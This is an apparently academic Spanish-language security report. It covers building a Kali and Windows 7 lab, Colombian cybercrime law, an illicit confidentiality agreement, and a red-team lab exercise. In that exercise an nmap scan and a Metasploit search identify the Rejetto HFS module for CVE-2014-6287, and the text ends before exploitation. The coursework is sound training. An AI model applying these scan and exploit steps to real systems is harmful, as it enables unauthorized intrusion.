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RESUMEN

En el siguiente trabajo se dara a conocer los resultados obtenidos a través del
desarrollo de las diferentes situaciones propuestas por la empresa The WhiteHose
Security, con el fin de poner a prueba nuestros los conocimientos en seguridad
informatica y la forma en la que como profesionales actuariamos ante posibles
incidencias de seguridad informatica.

En la primera situacion la empresa pone a prueba nuestros conocimientos sobre las
leyes colombianas que protegen la seguridad informatica, también se realiza un
montaje de un entorno de trabajo con Kali Linux y dos equipos mas con Windows 7
en diferentes versiones, con el fin de usarlo para testing haciendo uso de las
herramientas que ofrece este sistema operativo.

En la segunda situacién, nos plantean un acuerdo de confidencialidad con algunas
inconsistencias que violan la ley en muchos aspectos los cuales son identificados y
se relaciona cada uno de los delitos en los que se estaria incurriendo.

En la Tercer situacion, encontraras el desarrollo de un proceso de testing con el fin
de identificar la vulnerabilidad utilizada por el atacante para penetrar nuestros
sistemas y crear un usuario de tipo administrador. En este caso se mostrara como
funciona la herramienta de escaneo de red Nmap, que nos permitio identificar el
puerto por el cual entro el intruso a nuestro sistema.

En la cuarta y Gltima situacion, determinamos cémo actuar, que pasos seguir y que
herramientas usar en el caso que estemos enfrentados a un ataque informatico,
exaltando la importancia de contar con planes de contencidn.
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GLOSARIO

DELITOS INFORMATICOS: es toda aquella accién antijuridica que se realiza en el
entorno digital, espacio digital o de Internet. Ante el extendido uso y utilizacion de
las nuevas tecnologias en todas las esferas de la vida (economia, cultura, industria,
ciencia, educacion, informacién, comunicacion, etc) !

LEY: Regla o norma establecida por una autoridad superior para regular, de acuerdo
con la justicia, algiin aspecto de las relaciones sociales.?

CIBERSEGURIDAD: La ciberseguridad es el conjunto de procedimientos y
herramientas que se implementan para proteger la informacion que se genera y
procesa a través de computadoras, servidores, dispositivos moviles, redes y
sistemas electronicos. 3

SOFTWARE: Se conoce como software, logicial o soporte l6gico al sistema formal
de un sistema informatico, que comprende el conjunto de los componentes l6gicos
necesarios que hacen posible la realizacion de tareas especificas, en contraposicion
a los componentes fisicos que son llamados hardware. La interaccion entre el
software y el hardware hace operativo un ordenador (u otro dispositivo), es decir, el
software envia instrucciones que el hardware ejecuta, haciendo posible su
funcionamiento.*

VIRTUALBOX: Por medio de esta aplicacion es posible instalar sistemas operativos
adicionales, conocidos como «sistemas invitados», dentro de otro sistema operativo
«anfitrion», cada uno con su propio ambiente virtual.®

VMWARE: Se trata de un sistema que permite operar con software, emulando a un
sistema fisico (un computador, un hardware, etc.) con unas caracteristicas de
hardware determinadas. Cuando se ejecuta el programa (simulador), proporciona
un ambiente de ejecucién similar a todos los efectos a un computador fisico (excepto
en el puro acceso fisico al hardware simulado), con CPU (puede ser mas de una),
BIOS, tarjeta grafica, memoria RAM, tarjeta de red, sistema de sonido, conexion
USB, disco duro (pueden ser mas de uno), etc. ©

1 (Fundacion Wikimedia, 2020)
2 (Languages.oup)

3 (infosecuritymexico)

4 (Fundacién Wikimedia, 2021)
5 (Fundacion Wikimedia, 2021)
6 (Fundaciéon Wikimedia, 2021)



KALI LINUX: es una distribucion basada en Debian GNU/Linux disefiada
principalmente para la auditoria y seguridad informatica en general. Fue fundada y
es mantenida por Offensive Security Ltd. Mati Aharoni y Devon Kearns, ambos
pertenecientes al equipo de Offensive Security, desarrollaron la distribucién a partir
de la reescritura de BackTrack, que se podria denominar como la antecesora de
Kali Linux.’

BLUE TEAM: Equipo de seguridad informatica que se encarga de la proteccion y
defensa de la empresa, realizando una vigilancia constante de los comportamientos
fuera de lo comun que se den dia a dia, tanto a nivel de usuario como a nivel de
redes y sistemas de informacioén. También establecen las respuestas en caso de
incidentes.®

RED TEAM: Es el equipo encargado de simular a los atacantes, haciendo uso de
las mismas herramientas o similares a la de los atacantes con el fin de explotar las
vulnerabilidades de seguridad informatica, con el fin de dar las bases de informacion
al equipo de blue team para que este sepa como defenderse ante posibles ataques.®

7 (Fundacién Wikimedia, 2021)
8 (Unir La Universidad en Internet, 2020)
9 (Unir La Universidad en Internet, 2020)



INTRODUCCION

Como expertos en seguridad informatica es de vital importancia como conocer que
leyes y normas nos rigen en nuestro pais con respecto a este tema, en Colombia
todos los procesos penales descritos en el codigo penal que para el caso de
seguridad de informacién se actualizo con la ley 1273 del 05 de enero de 2009.

Para este trabajo vamos a hacer uso de Kali linux que es una distribucién de linux
que estd pensado en la auditoria de sistemas informaticos, por ende, tiene
instaladas muchas herramientas para deteccion de vulnerabilidades en un sistema,
los cuales seran de gran ayuda para la ejecucién de nuestro escenario de trabajo.

Una de las herramientas con la que vamos a trabajar es Nmap que nos permite
escanear lared en busca de puertos abiertos y aprovechar este para ejecutar ciertos
comandos y crear un usuario administrados que nos dé total control de la maquina
atacada.

Ninguna empresa esta exenta a sufrir algun tipo de ataque de seguridad de la
informacion y es de vital importancia contar con la ruta correcta de como proceder
frente a estos, es por eso que las empresas pensando en el control de las
incidencias de seguridad informética deben pensar en contar con un equipo
especializado que les ayude con la deteccién de vulnerabilidades, cierre brechas de
seguridad y establezca rutas de contencion de ataques.

Existen varias tecnologias y herramientas que se han desarrollado para la
contencion de incidencias informaticas que les proporcionan a los especialistas de
seguridad detectar, analizar, y ejecutar medidas que permitan evitar la propagacion
de los ataques. Como lo es SIEM o los diferentes programas de monitoreo que
encontramos en el mercado tanto de uso gratuito como pago.



OBJETIVOS

OBJETIVO GENERAL

Desarrollar las actividades requeridas con las cuales se dé solucion a cada una de
las situaciones planteadas por la empresa The WhiteHose Security, con el fin de
mostrar las capacidades profesionales en cuanto a seguridad informatica se refiere.

OBJETIVOS ESPECIFICOS

v

Dar solucion a la primera situacion que plantea el montaje de un banco de
trabajo para la elaboracion de testing.

Responder cada una de las preguntas sobre conocimientos basicos de
seguridad informatica

Revisar acuerdo de confidencialidad entregado por la empresa y establecer
las irregularidades legales que esté presente.

Ejecutar Pruebas de intrusién en nuestro banco de trabajo para identificar
las fallas de seguridad informéatica, que permitieron la intrusion del atacante.

Establecer los pasos a seguir en caso de sufrir un ataque en tiempo real y
gue herramientas podemos usar como apoyo de nuestra labor como parte
del equipo Blue Team de la empresa.



1. INFORME TECNICO

En el trascurso del tiempo laborado en la empresa The WhiteHose Security, se
llevaron a cabo varias actividades enfocadas en entornos de trabajo los cuales
fueron los siguientes:

1.1SITUACION PROBLEMA: MONTAJE BANCO DE TRABAJO

The Whitehouse Security requiere previamente una instalacion de un banco de
trabajo con el cual el personal postulado a hacer parte de la organizacion debera
utilizar en una serie de escenarios y problemas complejos al interior de The
WhiteHouse Security. ElI banco de trabajo debe estar basado en herramientas
software Opensource, la recursividad sera vital en este proceso.

De manera simultanea The WhiteHouse security requiere conocer por medio de una
serie de preguntas orientadoras el estado inicial o base del conocimiento de los
aspirantes en cuanto a temas de Ciberseguridad, al resolver estas preguntas la
organizacion podra tener una perspectiva global de sus futuros empleados.

e Montaje del Banco de Trabajo:

En una maquina virtual montamos los entornos de trabajo, uno con Kali linux que
sera nuestro sistema para hacer testeos de seguridad y otros dos equipos que
simularan los equipos de la compaiiia los cuales tendran instalados WIN 7 en
diferentes versiones. En la Figura 1 se muestra la evidencia del entorno de trabajo
Kali Linux.

Figura 1. Entorno De Trabajo Kali Linux

ey 7 Home [C] Kali - Seminario [ win7-SE2020 [Z] My Computer

Type heret ch

[rj Kali - Seminario

rio
5 win7-SE2020 B Power on
] Shared VMs (Deprecated) [ Edit wirtu

~ Devices
E=Memory 268
Pracessors 1
) Hard Disk (SATA) 30GB
5 Network Adapter Bridged (Autom...
[] USB Controller Present
[ Display Auto detect

~ Description
Type here to enter a description of this virtual
machine

~ Virtual Machine Details
State: Powered off
Configuration file: C:\Users\USUARIO\Do Machines\Kali -
Hardware compatibility: Workstation 16.x virtual machine
Primary IP address: Network information is not available

Mayerly Rocio Enriquez Lopez.
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Configuracion de a conexion a la red local, entramos a settings de la maquina
virtual y seleccionamos la opcion de conexion directa con la red fisica y que esta
se replique en la maquina virtual, Evidencia Mostrada en Figura 2.

Figura 2. Configuracion Red Local

Virtual Machine Settings x

Hardware  Qptions

ol |

. Device status
Device Summary
C ted
d E=lMemory 2GB onnects
- :-::?Processors 1 Connect at power on
[E=Hard Digk (SATA) 50 GB
h b e twork Adapter Bridged (Automatic) Metwork connection
E| USE Controller Present @ Bridged: Connected directly to the physical network
[CIpisplay Auto detect Replicate physical network connection state
(CJMAT: Used to share the host's IP address
(T Host-only: A private network shared with the host
(O custom: Spedific virtual network
3 VMneto
d O LAMN segment:

LAM Segments... | | Advanced...

i

Add... Remave

- Cancel Help

Mayerly Rocio Enriquez Lopez.
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En la Figura 3 podemos ver como quedo configurado el entorno de Trabajo Windows

7 SE 2020

Figura 3. Entorno De Trabajo Win 7

| B win7-5E2020 - VMware Workstation

File Edit View WM Tabs

Library
£ Type here to search

x

-

Help | B - @ L@

[Imj ==}

7y Home [[] Kali - Seminario

5 [ My Computer
I Kali - Seminarie
) win?-5E2020
71 Shared VMs (Deprecated)

[[] win7-sE2020

B Power on this virtual machine
[ Edit virtual machine settings

[[] win7-SE2020 ] My Computer

~ Devices
E=IMemory 4GB
{FProcessors )
=) Hard Disk (SATA) 50 GB
2 Network Adapter Bridged (Autom...
[ USB Controller Present
[CIDisplay Auto detect

~ Description
Type here to enter a description of this virtual
machine.

~ Virtual Machine Details
State: Powered off
Configuration file: C:\Users\USUARIO\Documents\Virtual Machinestwin7-SE2020\win7-SE2020.vmx
Hardware compatibility: Workstation 16 virtual machine
Primary IP address: Network information is not available

Mayerly Rocio Enriquez Lopez.

En la Figura 4 encontramos la configuracion de la conexién a la red local.

Figura 4. Configuracién De Red Local

File Edit Viewm VM Tabs Help > Hardware | options
Libra
= WT . - {1t Home (] Device Summary Device status
D Type here to seard] ~ Connected
< 7.q |Eenary 468 e
= O My Computer [] win7-§ Processors 4 Comnect at power on
[C] Kali - Seminario (=i Hard Disk (SATA) 50 GB
[C] win7-SE2020 P> Power on th fmlNctwork Adepter _ Bridged (Automatic) | Network connection
) Shared VM (Deprecated) [ Edit virtual [] UsB Controller Present (®) Bridged: Connected directly to the physical network
[Clpisplay Auto detect Replicate physical network connection state
~ Devices (O NAT: Used to share the host's IP address
E=Memory Q) Host-only: A private network shared with the host
Processors O Custom: Spedific virtual netwerk
-3 Hard Disk (S| VMneto
%0 Network Ad (O LAN segment:
[=] USE Controll
[C1Display
LAN Segments... | | Advanced...
~ Description
Trpe here to en
machine
Add... Remove
Cancel Help

Mayerly Rocio Enriquez Lopez.
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En la Figura 5 encontramos las especificaciones del entorno de Trabajo Windows
7 64 BITS el cual se llevo a cabo en virtualbox.

Figura 5. Entorno De Trabajo Win 7 64 Bits

=) General [=) previsualizacién
Nombre: Win7-SE2020-X54

Sistema operativo: Windows 7 (64-hit)

Ubicacion de archivo de preferendas:  C:\Users\USUARIOWirtualBox VMs\ESI Seg, DB\Win7-SE2020-X64
Grupos: ESI Seq. DB

E Sistema

Memoria base: 4056 MB

Orden de arranque:  Optica, Disco duro

Aceleracion: WT-%/AMD-V, Paginacidn anidada, Paravirtualizacidn Hyper-V

(=] pantalla

Memoria de video: 18 MB

Controlador grafico: YBoxSVGA

Servidor de escritorio remoto:  Inhabilitado

Grabando: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATA 0: Win7-SE2020-%64-disk001.vdi (Normal, 50,00 GEB)
Puerto SATA 1:  [Unidad dptica] Vacio

(o Audio

Controlador de anfitrién:  Windows DirectSound

Controlador: Audio Intel HD

= Red

Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador puente, «Qualcomm Atheros QCA9377 Wireless Network Adapter #2+)
(5 use

Controlador USE: OHCI

Filtros de dispositives: 0 (0 activo)
= Carpetas compartidas
Ninguno

) Descripcién

Ninguno

Mayerly Rocio Enriquez Lépez.

Ahora vamos a consultar cada una de las caracteristicas de los equipos
configurados en las maquinas virtuales.

En la Figura 6 encontramos las caracteristicas del sistema operativo KALI LINUX.

Figura 6. Caracteristicas Del Equipo Kali Linux

Mayerly Rocio Enl'quez Lépez.
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En la Figura 7 encontramos las caracteristicas del sistema operativo WINDOWS 7

de 32 Bits

Figura 7. Caracteristicas Del Equipo Win 7

; =z . derechos,
B Proteccién del sistema

@ Configuracién avanzada del Obtener mds caracteristicas

sistema
L

Sistema
Evaluacion:
Procesador
Memoria instalada (RAM}):
Tipo de sistema:

Lépiz y entrada tactil:

Centro de actividades Mombre de equipo:

Windows Update Nombre completo de

Informacién y herramientas de equipe:

rendimiento Descripcidn del equipe:

Frinn dzteahain

"

SPA |jﬂ b Panel de control v Sistema y seguridad » Sistema - |#? ‘ | Bu
Ventana principal del Panel de . e il: .
contrel Ver informacion basica acerca del equipo

- Edicidn de Windows

¥ Administrador de dispositives dicten e Hindow

,?:', Configuracién de Acceso Windows 7 Home Premium
remoto Copyright © 2002 Microsoft Corporation, Reservados todes los

con una nueva edicién de Windo

La evaluacicn del si

ma no estd disponible
Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz  2.90 GHz
4,00 GB (3,00 GB utilizable)

Sistema operativo de 32 bits

La entrada tactil o manuscrita no esta disponible para esta pantalla

Vea también Cenfiguracién de nembre, dominic y grupe de trabajo del equipo

win? ' Cambiar

s configuracicn
win?

WNRKERRAID

Mayerly Rocio Enriquez Lépez.

En la Figura 8 encontramos las caracteristicas del sistema operativo WINDOWS 7

64 BITS.

Figura 8. Caracteristicas Del Equipo Win 7 64 Bits

s ‘:ﬂ » Panel de control » Todos los elementos de Panel de control | Sistema

Ventana principal del Panel de
control
@) Administrador de dispositivos Edicign de Windows

® Configuracion de Acceso Windows 7 Professional

Ver informacién basica acerca del equipo

remoto Copyright © 2000 Microsoft Corporation. Reservados todos los derechos.

) Proteccisn del sistema Service Pack 1

%) Configuracién avanzada del

sistema

Sistema
Evaluacion: La evaluacién del sistema no estd disponible
Procesador: Intel(R) Core(TM) 7-7500U CPU @ 2.70GHz 290 GHz
Memoria instalada (RAM): 4,00 GB
Tipo de sistema: Sistema operativo de 64 bits
Lapiz y entrada tactil: La entrada tictil o manuscrita no estd disponible para esta pantalla

Configuracién de nombre, dominio y grupe de trabajo del equipe
Nombre de equipo: PC202006
Nombre completo de PC202006

'ea también equipo:

Descripcién del equipe:
Grupo de trabajo: WORKGROUP

Centro de actividades
Windows Update

Informacién y herramientas de  Activacion de Windows
rendimiento

& 3 dias para la activacidn automatica. Active Windows ahora,

= [ 43 ||| Buscar en el Panel de contro

&

@ Cambiar
configuracion

Mayerly Rocio Enri’quéz Lopez
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Pruebas de conexion entra las maquinas Windows con Kali Linux.

KALI LINUX Y WINDOWS 7 32 Bits
Lo primero que debemos hacer para la prueba de conexion es identificar la IP de
la maquina de Windows

Figura 9. Ip Win 7
EX C\Windows\system32\cmd.exe EI@

Microsoft Windows [Version 6.1.76601
Copyright <(c> 2889 Microsoft Corporation. Reservados todoz los derechos.

C:“UserssusuarioXipconfig

Conf iguracidon IP de Windows

Adaptador de Ethernet Conexidn de area local 2:

Sufijo DHS especifico para la conexidn. . = .net.co

Uinculo: direccidén IPvb local. . . := feBB:: :5d23:eBchbafbbx13
Direccidn IPvd H .168.1.74

Miscara de subred H .255.255.8

Puerta de enlace predeterminada H .168._.1.254

Adaptador de tdnel isatap.une.net.co:

Estado de los medios. . . . . . . . . . . & medios desconectados
Sufijo DNS especifico para la conexidn. . : une.net.co

C:wUserssusuario>_

Mayerly Rocio Enriquez Lépez.

En la siguiente Figura podemos ver como al hacer ping a la Ip obtenida de
Windows 7 de 32 Bits este obtiene respuesta.

Figura 10. Prueba Conexion Win 7

PR HERPRRHERP -
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KALI LINUX'Y WINDOWS 7 64 BITS

Lo primero que debemos hacer para la prueba de conexion es identificar la IP de
la maquina de Windows que se puede en la Figura 11.

Figura 11. Ip Win 7 64 Bits
ER Administrader: C:A\Windows\system32\cmd.exe E@

Microzoft Windows [Uersidn 6.1._76811
Copyright {c> 288? Microsoft Corporation. Reservados todos los derechos.

C:xUserssusuario>ipconfig

Configuracidn IP de Windows

Ndaptador de Ethernet Conexidn de area local:

Suflau DHE e“pec1f1co para la cunex1on .= -
Uinculo: direccidén IPwe local. . . = f HH =9ce4 4338 7898211

Direccién IPud = 192.168.

Mizcara de subred H .255. 255 B

Puerta de enlace predeterminada H .168.1.254
Adaptador de tidnel isatap.une.net.co:

Estado de log medios. . . . . . . . . . . & medios desconectados
Sufijo DNS especifico para la conexidn. . : une.net.co

C:wUserssusuarioX_

Mayerly Rocio Enriquez Lopez.

A continuacién, procedemos hacer ping a la IP de Windows 7 de 64 bits y vemos
en la Figura 12 como obtiene respuesta.

Figura 12 Prueba De ConeX|on Win 7 64 Blts

o e e e e e e e e

Mayerly Rocio Enriquez Lopez.
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RESPUESTAS A ALGUNAS PREGUNTAS DE SEGURIDAD INFORMATICA.

LEYES, DECRETOS QUE EXISTEN ACTUALMENTE Y LAS
CARACTERISTICAS PRINCIPALES DE CADA LEY EN COLOMBIA.

o LEY 1273 DEL 05 DE ENERO DE 2009

Esta ley modifica el codigo penal, dende se estipulan nuevas normas con
respecto a la proteccion y preservacion de datos y los medios y/o
herramientas tecnologicas que se utilecen para la recopilacion vy
almacenamiento de la misma, en esta ley se estipulan las acciones
consideradas como delito y sus respectivos castigos tanto penales como
fiscales.10

DEFINICION DE CADA UNA DE LAS ETAPAS DEL PENTESTING

Pentesting, es un método para la identificacion de vulnerabilidades de un
sistema informatico y consta basicamente de 5 Fases:!!

e Fase Recopilacion de Informacion.

Esta fase es la base para el proceso de auditoria del sistema con el
que vamos a trabajar, se debe procurar conocer lo que mas se pueda
el sistema, una de las herramientas mas comunes para recoleccion de
informacion es Nmap, que nos permite hacer un rastreo de puertos
para determinar que posibles puertos vulnerables.

e Fase Busqueda de vulnerabilidades.

Después de recopilar la informacion se debe proceder a identificar las
vulnerabilidades, en esta fase debemos armar la estrategia de ataque
al sistema, y establecer los objetivos de la misma, una de las
herramientas usadas para este fin es Nessus, que es una de las
herramientas mas completas para la identificacion de
vulnerabilidades en el sistema, aunque es recomendable hacer
este proceso de forma manual.

e Fase Explotacion de vulnerabilidades.
Después de detectar las vulnerabilidades, se debe iniciar uno de los
procesos mas complejos y es el de ejecutar acciones o ataques que
permitan de una u otra forma violentar la seguridad de nuestro
sistema, un ejemplo de atague de que nos permite acceder al sistema

10 (Congreso de Colombia, 2009)
11 (Cyberseguridad.net, 2015)
17



es SQL injection, este ataque lo que nos permite es saltarnos el login
de un sistema.

e Fase Post-explotacion.
La fase de post-explotacion no es muy comudn en la implementacion
ya que consiste en tratar de acceder por completo al sistema
obteniendo mayores privilegios sobre el mismo, tener acceso a la red
y poder conectarnos a mas sistemas que este conectados dentro de
la misma red.

e Fase Elaboracion de informes.

En esta fase final, se procede a realizar un informe donde se debe
presentar los resultados de la auditoria al cliente, recalcando la
importancia de los datos obtenidos ademas de hacer énfasis de los
procesos que cuentan con buen nivel de seguridad y los que deben
mejorar, estos puntos a mejorar debe ir con sus respectivas acciones
de mejora, como sugerencia este informe podria construirse en dos
partes una con explicacion mas general y la otra con explicacion
técnica para los encargados de la parte informética de la empresa.

HERRAMIENTAS DE CIBERSEGURIDAD

Metasploit: es una herramienta disefiada para identificar vulnerabilidades,
con el fin de evitar los riesgos de seguridad de la informacion.

Contiene informacion de programas que aprovechan las vulnerabilidades de
un sistema, dichos programas se denominan exploits, ademas metasploit
también permite crear exploits, cuyo proposito es realizar las pruebas
necesarias para detectar los riesgos informaticos.?

Nmap: es una herramienta que al igual que Metasploit permite identificar las
vulnerabilidades de un sistema, enfocada en detectar los dispositivos que se
estan ejecutando, encontrar puertos abiertos, ademas de servir como un
sistema de monitoreo de host.13

Escanea los puertos disponibles y realiza pruebas enviando informacion y
escuchando la respuesta para determinar los riesgos. Nmap identifica
dispositivos que se ejecutan en la red.

12 (Rizaldos, 2018)
13 (marindelafuente, 2019)
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OpenVAS: esta herramienta es de uso libre y al igual que las anteriores
herramientas, este framework nos permite llevar a cabo la evaluacién de
vulnerabilidades de un sistema, esta herramienta ya se encuentra
incorporada en Kali Linux.

Funciona a través de dos interfaces de servicio (OpenVAS Manager y
OpenVAS Scanner) estos servicios son los encargados de llevar a cabo el
filtrado y clasificacion de los resultados del analisis y el escaner hace uso de
una conexion de NVT que basicamente contiene las diferentes pruebas que
sirven para detectar las posibles vulnerabilidades. 14

Servicios en Linea:

Exploit DB: esta es una herramienta web, donde se almacenan diferentes
exploits que podemos usar de forma gratuita para llevar a cabo nuestra
prueba de penetracion que ya hemos identificado previamente, exploit-db es
un servicio publico y por ende es importante que tengamos en cuenta que lo
debemos usar para fines educativos o de testing y no para fines mal
intencionados.

Esta herramienta te permite descargar los exploits que necesites para los
testing de penetracion ademas de poder escoger el sistema operativo en el
gue deseas correrlo, es una herramienta muy buena y de facil manejo.

CVE: es una herramienta en linea que nos proporciona un listado de
vulnerabilidades conocidas, donde a cada una le asigna un identificador
Unico que adopto una nomenclatura estandar para hacer mas facil la
identificacion de las vulnerabilidades también anexa sus respectivas
caracteristicas, como por ejemplo versiones de software donde fueron
identificadas y como poder solucionar cada una de ellas.

Cada nueva vulnerabilidad después de ser encontrada y para poder llevarse
al listado de CVE, debe pasar por la revision y andlisis del equipo CVE, esto
quiere decir que constantemente la informacién sera actualiza.®®

1.2SITUACION PROBLEMA: ANALISIS LEGAL

La organizacion WhiteHouse Security es una organizacion con reconocimiento a
nivel mundial por asesorar a grandes Gobiernos en procesos de ciberseguridad y
ciberdefensa logrando posicionarse como la organizacion mas importante en el

14 (welivesecurity, 2014)
15 (National Institute of standards, s.f.)
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campo de la seguridad informatica a nivel mundial, la organizacién ha decidido que
es hora de conformar equipos de Red team y Blue team dentro de su estructura
funcional para aumentar los protocolos de seguridad al interior de esta.

Para dar inicio, la organizacion WhiteHouse Security hace entrega de un contrato
para el reclutamiento de sus equipos Red team y Blue team; este contrato fue
elaborado por un abogado que ya no labora con la organizacion y fue despedido por
encontrar algunos procesos ilicitos. La alta gerencia no reviso los contratos con los
que se reclutard el nuevo personal, por ende, los contratos son entregados sin
modificacion alguna; ante este evento la gerencia solicita tener suma precaucion
antes de firmar el contrato y acuerdos de confidencialidad estipulados para el fin de
contratacion de personal, sin embargo la organizacion aprovecha una serie de
problemas que ha identificado en su interior y como prueba de admisiéon al equipo
Red team y Blue team deciden clasificar una primera mision a la cual deberian dar
respuesta en poco tiempo y trabajar bajo presion “caracteristica” de estos equipos.

Leyendo detenidamente en el acuerdo de confidencialidad se encontraron las
siguientes irregularidades:®

e “datos de chuzadas, interceptacion de informacion, accesos abusivos a
sistemas informaticos”, en este fragmente se estan refiriendo a que alguna
de la informacién suministrada para desarrollar el trabajo es obtenida a traves
de medios ilegales.

¢ Dentro de las obligaciones se encuentra esta anormalidad. “No denunciar
ante las autoridades actividades sospechosas de espionaje o cualquier otro
proceso en el cual intervenga la apropiacion de informacién de terceros.” Esta
obligacion es ilicita ya que al no denunciar posibles apropiaciones ilegales de
informacion nos esta haciendo complices de un delito, ademas de que muy
posiblemente seamos nosotros quienes debamos desarrollar estas
actividades ilicitas.

e Otra Obligacion llicita es “Abstenerse de denunciar y publicar la informacion
confidencial e ilegal que conozca, reciba o intercambie con ocasién de las
reuniones sostenidas.”, es considerado ilegal porque primero que todo si
tenemos conocimiento o nos enteramos de que en la empresa estan
ocurriendo procesos que atenten con la seguridad de la informacion de
terceros para algun beneficio, debemos denunciar inmediatamente, ya que
si no lo hacemos seriamos parte del delito.

16 (UNAD - Universidad Abierta y a Distancia, 2020)
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e “Responder por el mal uso que le den sus representantes a la informacion
confidencial”. Me parece que por medio de esta obligacion lo que buscan es
librarse de toda responsabilidad de sus actos ilegales.

¢ “Responder ante las autoridades competentes como responsable en caso de
que la informacion se encuentre en su poder dentro de un proceso de
allanamiento.” Esta obligacién corrobora la intencién de la anterior y es que
nos hace responsable ante las autoridades de la informacién ilegal que
encuentren en nuestro poder asi esta haya sido suministrada por ellos.

e Esta es una irregularidad “Divulgar total o parcialmente, publica o
privadamente, la informacién confidencial o ilegal sin el previo
consentimiento por escrito por parte de Whitehouse Security.” ya que
sabemos que si se trata de algo ilegal debemos denunciar inmediatamente y
notificarle a la empresa seria darles un aviso del proceso de denuncia que se
va hacer.

Teniendo en cuenta las irregularidades encontradas en el acuerdo de
confidencialidad, los articulos de la ley 1273 que se podrian vulnerar en dicho
acuerdo y porqué vulnera estos articulos de la ley 1273 son:

e Articulo 269C: interceptacion de datos informéticos

e Articulo 269A: Acceso Abusivo A Un Sistema Informatico.

e Articulo 269B: Obstaculizacion de sistemas informaticos o redes de
comunicaciéon

e Articulo 269F: Violacion de datos personales.

Se esta incurriendo en este delito ya que estan manifestando que han obtenido
informacion de forma ilegal, como por ejemplo las chuzadas es intercepcién de
informacion. Y el otro es claro que fue a través de acceso abusivo a sistemas de
informacion.

A parte de esto la empresa con este acuerdo esté tratando de librarse de cualquier
penalidad que pudiesen tener en caso de que las autoridades encuentren dicha
informacion ilegal en sus manos o en la de sus empleados.

Esta claro que quien decida firmar dicho acuerdo y trabajar con esta empresa, y
este no decida denunciar las ilegalidades que se estén cometiendo, sera
responsables de también del delito, puede ser por accién o por omision.’

17 (Congreso de Colombia, 2009)
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1.3SITUACION PROBLEMA: ANALISIS RED TEAM

La primera mision del equipo Red team es lograr identificar porqué medio 0 proceso
se esta generando una serie de fuga de informacion la cual se presenta al interior
de la organizacion en uno de sus equipos de computo en la dependencia. La
informacion inicial con la que cuenta el equipo es que la maquina donde se esta
generando la fuga de informacion tiene instalada una aplicacion llamada rejetto v.
2.3 bajo un windows 7 con arquitectura X64; esta aplicacion al parecer tiene
asociado un exploit que puede terminar en una Shell reversa y una sesion abierta
de meterpreter. Dentro de la investigacion también se investiga un escalamiento de
privilegios por medio de la creacion de un usuario tipo administrador del sistema.

El equipo de forense genera una copia del servidor y esta es entregada a usted
como experto, debe validar la posible falla de seguridad y si esté es explotada debe
crear un usuario con su primer nombre y primer apellido, el usuario debe ser
administrador esto con el fin de demostrar una PoC ante los altos directivos.

Obteniendo informacion

La etapa inicial es obtener toda la informacion posible para iniciar las pruebas,
contamos con que el equipo del pc que vamos atacar tiene instalado Windows 7 y
tiene una herramienta llamada rejetto, al buscar en Google y YouTube se puede
evidenciar que esta herramienta tiene un hueco de seguridad el cual le permite al
atacante crear una reverse Shell y abrir una sesion de meterpreter

Ahora utilizo Nmap para escanear los puertos de la maquina con Windows 7 para
obtener mas informacion, el comando a ejecutar es el siguiente Nmap IP.
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Figura 13. Consola Donde Se Ejecuta Comando Nmap
= kali@kali: ~/Desktop

File Actions Edit View Help

— ~/Desktop ]

L~ ap 192.168.1.76

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-11 09:30 EST
Nmap scan report for 192.168.1.76
Host is up (0.00038s latency).
Not shown: 986 closed ports
PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp

2869/tcp open icslap
5357/tcp open wsdapi
10243/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

Mayerly Rocio Enriquez Lépez.

En la imagen anterior vemos que el puerto 80 se encuentra abierto y por la
investigacion previa conocemos que Rejjeto abre el puerto 80, el puerto al parecer
no se encuentra bloqueado por un firewall.

Andlisis de vulnerabilidades y amenazas

Al buscar Rejjeto es exploit db encuentro que la aplicacion tiene una vulnerabilidad
Remote Command Execution.*®

18 (AVINASH THAPA, s.f.)
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En la siguiente imagen vemos que ya tiene un codigo asignado por CVE 2014-
6287 y que las plataformas vulnerables son las de tipo Windows.

Figura 14. Analisis Por Medio De Exploit Database

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)

EDB-ID: CVE: Author: Type: Platform: Date:
2014-6287 AVINASH REMOTE WINDOWS
THAPA
EDB Verified: Vulnerable App: B

Exploit: & / {}

<) ©

Mayerly Rocio Enriquez Lopez.

Ahora vemos en la imagen la descripcion de la vulnerabilidad y como esta es
aprovechada.

Figura 15. Descripcién De La Vulnerabilidad Encontrada

JECVE-2014-6287 Detail

. at UICK INFO
Current Description Q
The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3c CVE Dictionary Entry:
allows remote attackers to execute arbitrary programs via a %00 sequence in a search action. CVE-2014-6287
NVD Published Date:

+ . 10/07/2014

View Analysis Description s

N ) 02/26/2021
CVSS Version 3.x CVSS Version 2.0
severity IR o' o=or2o | souree
CVSS 3.x Severity and Metrics: MITRE

@ler; NVD Base Score: Vector:
CVSS:3.1/AV:N/AC:L/PR:N/ULN/S:U/C:H/IH/AH

Mayerly Rocio Enriquez Lopez.

Con la informacion anterior vamos a proceder a explotar la vulnerabilidad
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Ahora podemos proceder a utilizar Metasploit framework para buscar que exploits
se podrian utilizar para explotar la vulnerabilidad de Rejjeto, para eso abrimos
desde Kali Linux Metasploit con el comando msfconsole —q o desde la interfaz de
Kali

Ahora utilizamos el comando search Rejjeto el cual permitird buscar en la base de
datos interna de Metasploit.

Figura 16. Exploit que podemos utilizar para esta vulnerabilidad.
msf6 > search Rejetto
Matching Modules
#  Name Disclosure Date Rank

Description

@ exploit/windows/http/rejetto _hfs_exec 2014-89-11
Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example inf

Mayerly Rocio Enriquez Lopez.

DATOS E INFORMACION DEL ANEXO 4 — ESCENARIO 3 QUE LE FUERON DE
AYUDA PARA IDENTIFICAR EL FALLO DE SEGURIDAD ESPECIFICO EL CUAL
ATACA A LA MAQUINA WINDOWS 7 X64.

Los datos que fueron utilizados para identificar el fallo de seguridad fueron

1- el nombre de la aplicacion “Rejjeto”, con solo esta informacion ya es posible
hacer una busqueda en Google en buscar de posibles problemas de
seguridad.

